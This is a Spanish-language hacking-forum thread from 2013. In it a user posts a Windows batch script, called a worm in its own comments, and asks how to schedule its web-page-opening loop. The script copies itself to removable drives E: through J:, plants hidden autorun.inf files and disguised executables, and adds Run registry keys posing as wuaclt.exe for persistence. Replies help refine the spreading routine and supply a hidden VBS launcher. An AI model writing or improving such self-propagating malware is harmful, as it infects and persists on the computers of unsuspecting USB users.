elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  ayuda start batch
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: ayuda start batch  (Leído 6,311 veces)
asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
ayuda start batch
« en: 23 Julio 2013, 20:23 pm »

Código:
@shift
@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf
set moxita=MOXITA.EXE
set trabajo=trabajo.exe



MD "%WINDIR%\14785"
MD "E:\System"
ATTRIB +S +H +R "E:\system"
MD "F:\System"
ATTRIB +S +H +R "F:\system"
MD "G:\System"
ATTRIB +S +H +R "G:\system"
MD "H:\System"
ATTRIB +S +H +R "H:\system"
MD "I:\System"
ATTRIB +S +H +R "I:\system"
MD "J:\System"
ATTRIB +S +H +R "J:\system"




Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM
 
IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.
 
COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "J:\%moxita%
COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%



Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS
 
COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f



start primera pagina web
ping 127.0.0.1 -n 30
start segunda pagina web
ping 127.0.0.1 -n 30
start tercera pagina web
ping 127.0.0.1 -n 300

goto xd


lo que quiero es que esta parte se ejecute cada 14400 segundos
Código:
start paginaweb
ping 127.0.0.1 -n 30
start segunda pagina
ping 127.0.0.1 -n 30
start tercera pagina
ping 127.0.0.1 -n 300

pero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar


« Última modificación: 23 Julio 2013, 20:30 pm por asdexiva » En línea

Meine programmen

Desconectado Desconectado

Mensajes: 121



Ver Perfil
Re: ayuda start batch
« Respuesta #1 en: 23 Julio 2013, 22:28 pm »

pero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar
Si no me equivoco quieres realizar dos acciones a la vez con un solo batch, y hasta donde yo se, eso no es posible. Deberias de, antes de empezar a copiar, crear y ejecutar otro .bat que se encargara de los start cada 14400. Quizas puedas conseguir algo asi.


En línea

REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!

asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: ayuda start batch
« Respuesta #2 en: 23 Julio 2013, 22:45 pm »

Si no me equivoco quieres realizar dos acciones a la vez con un solo batch, y hasta donde yo se, eso no es posible. Deberias de, antes de empezar a copiar, crear y ejecutar otro .bat que se encargara de los start cada 14400. Quizas puedas conseguir algo asi.
podrias darme un ejemplo de como incluir el segundo ? o tendria que ser a fuerzas 2 archivos diferentes  es que  si son 2 como se iniciara el segundo en el sistema
En línea

Meine programmen

Desconectado Desconectado

Mensajes: 121



Ver Perfil
Re: ayuda start batch
« Respuesta #3 en: 23 Julio 2013, 23:09 pm »

podrias darme un ejemplo de como incluir el segundo ? o tendria que ser a fuerzas 2 archivos diferentes  es que  si son 2 como se iniciara el segundo en el sistema
Si no me equivoco, batch no es capaz de realizar varias acciones a la vez, asi que supongo que deberian de ser 2 archivos diferentes. Lo de como se iniciaria no lo he entendido muy bien. ¿Como que en el sistema?

PD: Tres cosas:
1.- Quizas deberias de comprobar con if si existen esas unidades, en el caso de que existan añades la letra de la unidad a una lista espaciada contenida en una variable (Es decir que si existen solamente E y F, la lista seria " E F" o "E F "). Luego podrias usar for para repetir el mismo trozo de codigo con cada unidad existente.

2.- ¿No es un poco ridiculo que vayas comprobando archivo por archivo, pero que si no existe uno los copies todos, aunque ya esten comprobados? Para eso supongo que seria mejor que copiases sobreescribiendo siempre, porque, ademas, no sabes si esos archivos son los tuyos, aunque se llamen igual.

3.- Deberias de comprobar, ademas de si existen las unidades, si existe en las unidades existentes (Redundancia powah) la carpeta system, por si las moscas.
« Última modificación: 23 Julio 2013, 23:22 pm por Meine programmen » En línea

REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: ayuda start batch
« Respuesta #4 en: 24 Julio 2013, 01:28 am »

Vamos, que quieres ejecutar un proceso sin detener la ejecución del proceso actual. Lo que necesitas es:

Código:
Start /B


Citar
Código:
Start /?

B           Iniciar la aplicación sin crear una nueva ventana. La
            aplicación omite el manejo de ^C. A menos que la aplicación
            habilite el procesamiento de ^C, solo se podrá interrumpir la
            aplicación con ^Inter.

Código:
Start /B "páginaweb"
Start /B Ping.exe "google.es"

Otra forma de hacer lo mismo sería instanciando una CMD en separado:
Código:
Start cmd "/C ping.exe google.es"

Saludos.
En línea

asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: ayuda start batch
« Respuesta #5 en: 24 Julio 2013, 20:06 pm »

Vamos, que quieres ejecutar un proceso sin detener la ejecución del proceso actual. Lo que necesitas es:

Código:
Start /B


Código:
Start /B "páginaweb"
Start /B Ping.exe "google.es"

Otra forma de hacer lo mismo sería instanciando una CMD en separado:
Código:
Start cmd "/C ping.exe google.es"

Saludos.

si lo hago con
Código:
Start cmd "/C ping.exe google.es"
se abren muchisimas ventanas

y ademas no es como yo queria solo queria que se copiara alas usb y no se detuviera

y que los start se ejecuten aparte con otro ping

aver si me entiendes quiero que esta parte  se ejecute cada 300 segundos

Código:
@shift
@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf
set moxita=MOXITA.EXE
set trabajo=trabajo.exe



MD "%WINDIR%\14785"
MD "E:\System"
ATTRIB +S +H +R "E:\system"
MD "F:\System"
ATTRIB +S +H +R "F:\system"
MD "G:\System"
ATTRIB +S +H +R "G:\system"
MD "H:\System"
ATTRIB +S +H +R "H:\system"
MD "I:\System"
ATTRIB +S +H +R "I:\system"
MD "J:\System"
ATTRIB +S +H +R "J:\system"




Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM
 
IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.
 
COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "J:\%moxita%
COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%



Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS
 
COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
ping 127.0.0.1 -n 300
goto xd

y esta otra se ejecute cada 3600 segundos

start primera pagina web
ping 127.0.0.1 -n 30
start segunda pagina web
ping 127.0.0.1 -n 30
start tercera pagina web
ping 127.0.0.1 -n 300
En línea

Meine programmen

Desconectado Desconectado

Mensajes: 121



Ver Perfil
Re: ayuda start batch
« Respuesta #6 en: 24 Julio 2013, 20:27 pm »

Pon:
Código:
(echo @echo off
echo :start
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 300
echo goto start)>>bat.bat
start bat.bat
Antes de la etiqueta xD

y esta otra se ejecute cada 3600 segundos
¿3600 o 360?
« Última modificación: 24 Julio 2013, 20:29 pm por Meine programmen » En línea

REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!

asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: ayuda start batch
« Respuesta #7 en: 24 Julio 2013, 20:33 pm »

Pon:
Código:
(echo @echo off
echo :start
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 300
echo goto start)>>bat.bat
start bat.bat
Antes de la etiqueta xD
¿3600 o 360?

3600 por que equivale a 1 hora

no habra forma para que el archivo as.vbs sea temporal y el bat.bat tambien sea temporal ? por que si al prender la pc se ejecuta el worm se auto copiara todo dentro del mismo as.vbs y bat.bat
Código:
(echo @echo off
echo :inicio
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 3600
echo goto inicio)>>bat.bat
echo set zer0 = createobject("wscript.shell")>>as.vbs
echo zer0.run "cmd /c bat.bat", vbhide >>as.vbs
start as.vbs
« Última modificación: 24 Julio 2013, 21:14 pm por asdexiva » En línea

Meine programmen

Desconectado Desconectado

Mensajes: 121



Ver Perfil
Re: ayuda start batch
« Respuesta #8 en: 24 Julio 2013, 21:40 pm »

Cambia >> por >. Si no me equivoco, eso deberia hacer que se sobreescribiesen.
Código:
(echo @echo off
echo :inicio
echo start primera pagina web
echo ping 127.0.0.1 -n 30
echo start segunda pagina web
echo ping 127.0.0.1 -n 30
echo start tercera pagina web
echo ping 127.0.0.1 -n 3600
echo goto inicio)>bat.bat
(echo set zer0 = createobject("wscript.shell")
echo zer0.run "cmd /c bat.bat", vbhide)>as.vbs
start as.vbs
En línea

REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!

asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: ayuda start batch
« Respuesta #9 en: 24 Julio 2013, 22:12 pm »

muchas gracias a ti y a elektro solucionado xD
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines